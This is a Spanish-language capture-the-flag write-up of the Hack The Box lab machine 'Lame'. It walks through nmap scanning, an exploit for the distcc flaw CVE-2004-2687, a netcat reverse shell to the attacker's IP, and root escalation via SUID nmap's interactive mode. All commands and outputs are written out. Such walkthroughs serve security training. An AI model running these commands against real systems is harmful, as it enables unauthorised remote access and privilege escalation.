Hack The Box Lame
Máquina Lame
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.3.
1
2
3
4
5
6
7
8
❯ ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=143 ms
--- 10.10.10.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 143.293/143.293/143.293/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.3 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 12:01 CDT
Initiating SYN Stealth Scan at 12:01
Scanning 10.10.10.3 [65535 ports]
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 3632/tcp on 10.10.10.3
Completed SYN Stealth Scan at 12:02, 26.51s elapsed (65535 total ports)
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.14s latency).
Scanned at 2021-08-26 12:01:53 CDT for 27s
Not shown: 65530 filtered ports
Reason: 65530 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3632/tcp open distccd syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.69 seconds
Raw packets sent: 131083 (5.768MB) | Rcvd: 23 (1.012KB)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.3
5 │ [*] Open ports: 21,22,139,445,3632
6 │
7 │ [*] Ports copied to clipboard
8 │
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
❯ nmap -sC -sV -p21,22,139,445,3632 10.10.10.3 -oN target
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 12:03 CDT
Nmap scan report for 10.10.10.3
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h05m00s, deviation: 2h49m46s, median: 4m57s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-08-26T13:08:23-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.94 seconds
A partir de los resultados obtenidos de nmap, observamos que se encuentra abierto el puerto 21 asociado al servicio FTP; por lo que trataremos de establece una conexión con el usuario anonymous:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kamiyo): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>
Ingresamos como el usuario anonymous, sin embargo, no se despliega información; por lo que analizaremos la información obtenida de nmap. Vemos que el servicio FTP está corriendo vsftpd 2.3.4; por lo que mediante searchsploit
buscamos posibles exploits.
1
2
3
4
5
6
7
❯ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Obtenemos un resultado asociado a Backdoor Command Execution (Metasploit), por lo que es posble la existencia de un exploit público. Sin embargo, debido a protecciones en la máquina no es posible acceder al sistema.
Observamos el puerto 3632/TCP abierto el cual está asociado al servicio distccd v1; por lo que primero validaremos la existencia de algún exploit público:
1
2
3
4
5
6
7
❯ searchsploit distcc
------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit) | multiple/remote/9915.rb
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Vemos que existe un módulo de metasploit, por lo que ahora trataremos de buscar algun recurso en público:
Nos descargamos el archivo a nuestra máquina, lo analizamos para ver si es necesario cambiar datos (para este caso no aplica) y procedemos a ejecutar programa.
1
2
3
4
5
6
7
8
9
10
11
❯ wget https://raw.githubusercontent.com/k4miyo/CVE-2004-2687/k4miyo/CVE-2004-2687.py
--2021-08-27 20:49:39-- https://raw.githubusercontent.com/k4miyo/CVE-2004-2687/k4miyo/CVE-2004-2687.py
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4052 (4.0K) [text/plain]
Grabando a: «CVE-2004-2687.py»
CVE-2004-2687.py 100%[=========================================================>] 3.96K --.-KB/s en 0s
2021-08-27 20:49:40 (18.7 MB/s) - «CVE-2004-2687.py» guardado [4052/4052]
Al ejecutar el programa de python, nos solicita que ingresemos valores :
1
2
3
4
5
6
7
8
9
10
11
❯ python CVE-2004-2687.py -h
usage: CVE-2004-2687.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT]
DistCC Daemon Command Execution
optional arguments:
-h, --help show this help message and exit
--rhost RHOST Remote host ip (Victim)
--rport RPORT Remote port (default: 3632)
--lhost LHOST Local host ip (Attacker)
--lport LPORT Local port (default: 443)
Ejecutamos el exploit con los parámetros indicados y obtenemos una sesión interactiva dentro de la máquina víctima:
1
2
3
4
5
6
7
8
9
10
11
❯ python CVE-2004-2687.py --rhost 10.10.10.3 --lhost 10.10.14.15
[+] Payload: Payload generated!
[+] Execution: DistCC Daemon exploited with success!
[+] Opening connection to 10.10.10.3 on port 3632: Done
[+] Trying to bind to :: on port 443: Done
[+] Waiting for connections on :::443: Got connection from ::ffff:10.10.10.3 on port 55087
[+] Connection: Established connection
[*] Switching to interactive mode
$ whoami
daemon
$
Ahora establecemos una conexión a nuestra máquina para tener una shell y hacemos Tratamiento de la tty para trabajar mas comodos. Nos ponemos en escucha por el puerto 4443:
1
$ nohup nc -e /bin/bash 10.10.14.15 4443 &
Ahora enumeramos el sistema para determinar como podemos elevar privilegios:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
daemon@lame:/home/makis$ whoami
daemon
daemon@lame:/home/makis$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@lame:/home/makis$ sudo -l
[sudo] password for daemon:
sudo: pam_authenticate: Conversation error
daemon@lame:/home/makis$ cd /
daemon@lame:/$ find \-perm -4000 2>/dev/null
./bin/umount
./bin/fusermount
./bin/su
./bin/mount
./bin/ping
./bin/ping6
./sbin/mount.nfs
./lib/dhcp3-client/call-dhclient-script
./usr/bin/sudoedit
./usr/bin/X
./usr/bin/netkit-rsh
./usr/bin/gpasswd
./usr/bin/traceroute6.iputils
./usr/bin/sudo
./usr/bin/netkit-rlogin
./usr/bin/arping
./usr/bin/at
./usr/bin/newgrp
./usr/bin/chfn
./usr/bin/nmap
./usr/bin/chsh
./usr/bin/netkit-rcp
./usr/bin/passwd
./usr/bin/mtr
./usr/sbin/uuidd
./usr/sbin/pppd
./usr/lib/telnetlogin
./usr/lib/apache2/suexec
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/lib/pt_chown
./usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
./usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
daemon@lame:/$
Vemos que tenemos permisos SUID para nmap
, así que primero vemos que versión de la herramienta cuenta el sistema.
1
2
3
4
5
6
7
8
daemon@lame:/$ nmap -v
Starting Nmap 4.53 ( http://insecure.org ) at 2021-08-27 23:19 EDT
Read data files from: /usr/share/nmap
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.011 seconds
Raw packets sent: 0 (0B) | Rcvd: 0 (0B)
daemon@lame:/$
Debido a la versión, podemos iniciar una sesión interactiva y de ahí obtener una shell como el usuario administrador
1
2
3
4
5
6
7
8
daemon@lame:/$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#
Ya somos root del equipo y podemos visualizar la flag (root.txt).